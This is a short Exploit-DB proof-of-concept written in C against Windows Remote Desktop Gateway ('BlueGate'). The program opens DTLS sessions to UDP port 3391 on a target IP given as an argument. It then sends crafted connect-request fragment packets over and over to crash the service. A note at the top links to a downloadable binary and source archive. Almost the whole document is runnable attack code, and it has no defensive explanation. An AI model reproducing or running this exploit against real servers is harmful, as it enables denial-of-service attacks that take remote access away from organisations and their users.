Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)

#include "BlueGate.h"

/* 
EDB Note: 
- Download (Binary) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-1.exe
- Download (Source) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-2.zip
*/


void error(const char* msg)
{
	printf("ERROR: %s\n", msg);
	exit(EXIT_FAILURE);
}

void SOCKInit()
{
	WSADATA wsaData;
	int res;

	res = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (res != 0)
		error("WSAStartup failed");
}

void DTLSInit()
{
	SSL_library_init();
	SSL_load_error_strings();
	ERR_load_BIO_strings();
	OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
	int sockfd;
	sockaddr_in addr;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);

	if (sockfd < 0)
		error("Failed to open socket");

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	
	inet_pton(AF_INET, hostname, &(addr.sin_addr));

	if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
	{
		closesocket(sockfd);
		error("Failed to connect socket");
	}

	return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
	int sockfd;
	int result;
	DTLSParams client;
	
	sockfd = OpenUDPConnection(hostname, 3391);

	client.ctx = SSL_CTX_new(DTLS_client_method());
	client.bio = BIO_new_ssl_connect(client.ctx);

	BIO_set_conn_hostname(client.bio, hostname);
	BIO_get_ssl(client.bio, &(client.ssl));

	SSL_set_connect_state(client.ssl);
	SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

	SSL_set_fd(client.ssl, sockfd);

	if (SSL_connect(client.ssl) != 1) {
		return NULL;
	}
	
	return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
	CONNECT_PKT_FRAGMENT packet;

	packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
	packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
	packet.usFragmentID = id;
	packet.usNoOfFragments = id;
	packet.cbFragmentLength = 1000;
	memset(packet.fragment, 0x41, 1000);

	char pkt[sizeof(packet)];
	memcpy(&pkt, &packet, sizeof(packet));

	return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{
	
	SSL* ssl;
	int i = 0;
	char* hostname;

	if (argc != 2) {
		printf("Usage: %s <IP address>\n", argv[0]);
		return 0;
	}

	hostname = argv[1];

	SOCKInit();
	DTLSInit();
	
	while (i++ > -1) {
		ssl = DTLSConnection(hostname);

		if (ssl == NULL) {
			break;
		}
		
		for (int n = 0; n < 4; n++) {
			send_dos_packet(ssl, i+n);
			printf("Sending packet [%u]\n", i + n);
		}

		i++;
	}


	return 0;
}